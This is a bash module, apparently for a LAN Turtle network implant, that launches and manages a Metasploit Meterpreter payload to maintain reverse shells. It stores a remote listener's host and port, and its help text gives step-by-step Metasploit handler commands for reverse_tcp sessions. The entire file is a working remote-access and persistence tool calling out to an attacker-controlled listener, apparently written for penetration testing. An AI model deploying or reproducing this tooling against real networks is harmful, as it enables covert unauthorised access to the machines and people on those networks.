#!/bin/bash /usr/lib/turtle/turtle_module VERSION="1.0" DESCRIPTION="Metasploit payload to maintain shells" CONF=/tmp/meterpreter.form : ${DIALOG_OK=0} : ${DIALOG_CANCEL=1} : ${DIALOG_HELP=2} : ${DIALOG_EXTRA=3} : ${DIALOG_ESC=255} function start { if [ -s /etc/config/meterpreter ] then echo "/etc/turtle/meterpreter/executable" | at now echo "Meterpreter started with pid:" pidof meterpreter else echo "Meterpreter not configured" fi } function stop { touch /tmp/killmeterpreter kill $(ps | grep [/]usr/bin/meterpreter | awk {'print $1'}) } function status { if ps | grep -q [/]usr/bin/meterpreter; then echo "1"; else echo "0"; fi } function configure { if [ -s /etc/config/meterpreter ] then meterpreter_host=$(uci get meterpreter.host) meterpreter_port=$(uci get meterpreter.port) fi dialog --ok-label "Submit" \ --help-button \ --title "Meterpreter Configuration" \ --form "Meterpreter (Metasploit Module)\n\n\ Enter the Host and Port of the target meterpreter listener.\n \n" 14 60 2\ "Listen Host:" 1 1 "$meterpreter_host" 1 14 48 0 \ "Listen Port:" 2 1 "$meterpreter_port" 2 14 48 0 \ 2>$CONF return=$? case $return in $DIALOG_OK) cat $CONF | { read -r meterpreter_host read -r meterpreter_port touch /etc/config/meterpreter uci set meterpreter.host="$meterpreter_host" uci set meterpreter.port="$meterpreter_port" uci commit meterpreter rm $CONF clear };; $DIALOG_HELP) dialog --title "Help" \ --msgbox "\ Host - IP or Hostname of target meterpreter listener\n\ Port - Port number of target meterpreter listener\n \n\ ,__, For more Metasploit and Meterpreter Insight \n\ (oo)___ Watch Metasploit Minute with Mubix on Hak5!\n\ (__) )\\ http://www.MetasploitMinute.com \n\ ||--|| *\n \n\ Basic Metasploit Tips for Meterpreter Setup:\n \n\ use exploit/multi/handler \n\ # Handles multiple meterpreter sessions\n \n\ set PAYLOAD php/meterpreter/reverse_tcp \n\ # Setting for Reverse TCP Meterpreter\n \n\ set LHOST [host or ip] \n\ # Hostname or IP of listener\n \n\ set LPORT [port number] \n\ # Port of listener\n \n\ set ExitOnSession false \n\ # Let the exploit continue when meterpreter exists\n \n\ exploit -j \n\ # Make the exploit a backgroundable job\n \n\ sessions \n\ # Lists sessions\n \n\ sessions -i [number] \n\ # Interacts with session number\n \n\ " 20 74 configure ;; $DIALOG_CANCEL) rm $CONF clear exit;; $DIALOG_ESC) clear;; esac }